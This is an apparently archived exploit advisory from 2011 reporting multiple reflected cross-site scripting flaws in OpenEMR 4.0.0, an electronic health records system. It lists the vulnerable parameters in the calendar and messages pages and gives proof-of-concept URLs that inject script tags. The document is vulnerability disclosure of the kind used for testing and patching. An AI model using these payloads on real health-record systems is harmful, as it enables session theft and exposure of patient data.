what you don't know can hurt you

OpenEMR 4.0.0 Cross Site Scripting

OpenEMR 4.0.0 Cross Site Scripting
Posted Aug 9, 2011
Authored by Houssam Sahli

OpenEMR version 4.0.0 suffers from multiple cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss
MD5 | 34e03041b27123054ec92008f4fc8d29

OpenEMR 4.0.0 Cross Site Scripting

Change Mirror Download
# Exploit Title: OpenEMR 4.0.0 Multiple Cross Site Scripting (XSS)
# Author: Houssam Sahli => backtronux<at>gmail<.>com

# Date : August 3rd 2011
# Product: OpenEMR 4.0.0
# Vulnerable Version: 4.0.0(with the 2nd patch 04/15/2011)
# Developer : OEMR
# Download & Installation instructions link : http://open-emr.org/download.shtml
# Vulnerability Type: Cross Site Scripting (XSS)
# Risk level: High
# Status: Not Fixed, Vendor Not Alerted
# Remark : notice that these vulnerabilities are not fixed with the 2nd patch of 04/15/2011
# Tested On : Windows XP SP3

Summary :
--------
OpenEMR is a Free and Open Source electronic health records and medical practice management application. It is ONC modular "Meaningful Use" certified and it features fully integrated electronic health records, practice management, scheduling, electronic billing, internationalization, free support, a vibrant community, and a whole lot more. It can run on Windows, Linux, Mac OS X, and many other platforms.


Vunerabilities :
---------------
User can execute arbitrary JavaScript code within the vulnerable application, vulnerabilities are detailed below :

1 - Request: http://localhost/openemr/interface/main/calendar/index.php
Source: Form (theform)
Method: POST

Parameter Name Parameter Type Severity
tplview GET High
pc_category GET High
pc_topic GET High

2 - Request: http://localhost/openemr/interface/main/calendar/index.php
Source: Reference of: a
Method: GET

Parameter Name Parameter Type Severity
tplview GET High
pc_category GET High
pc_topic GET High

3 - Request: http://localhost/openemr/interface/main/messages/messages.php
Source: Form (new_note)
Method: POST

Parameter Name Parameter Type Severity
sortby GET High
sortorder GET High
begin GET High
noteid POST High

4 - Request: http://localhost/openemr/interface/main/messages/messages.php
Source: Reference of: a
Method: GET

Parameter Name Parameter Type Severity
sortby GET High
sortorder GET High


PoC :
----
http://localhost/openemr/interface/main/calendar/index.php?tplview='<script>alert('XSS');</script>
http://localhost/openemr/interface/main/calendar/index.php?pc_category='<script>alert('XSS');</script>
http://localhost/openemr/interface/main/calendar/index.php?pc_topic='<script>alert('XSS');</script>
http://localhost/openemr/interface/main/messages/messages.php?sortby="<script>alert('XSS');</script>
http://localhost/openemr/interface/main/messages/messages.php?sortorder="<script>alert('XSS');</script>
http://localhost/openemr/interface/main/messages/messages.php?showall=no&sortby=users%2elname&sortorder=asc&begin=724286<">

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

April 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    21 Files
  • 2
    Apr 2nd
    35 Files
  • 3
    Apr 3rd
    21 Files
  • 4
    Apr 4th
    16 Files
  • 5
    Apr 5th
    15 Files
  • 6
    Apr 6th
    1 Files
  • 7
    Apr 7th
    2 Files
  • 8
    Apr 8th
    23 Files
  • 9
    Apr 9th
    19 Files
  • 10
    Apr 10th
    15 Files
  • 11
    Apr 11th
    14 Files
  • 12
    Apr 12th
    11 Files
  • 13
    Apr 13th
    2 Files
  • 14
    Apr 14th
    5 Files
  • 15
    Apr 15th
    14 Files
  • 16
    Apr 16th
    19 Files
  • 17
    Apr 17th
    19 Files
  • 18
    Apr 18th
    8 Files
  • 19
    Apr 19th
    4 Files
  • 20
    Apr 20th
    5 Files
  • 21
    Apr 21st
    1 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close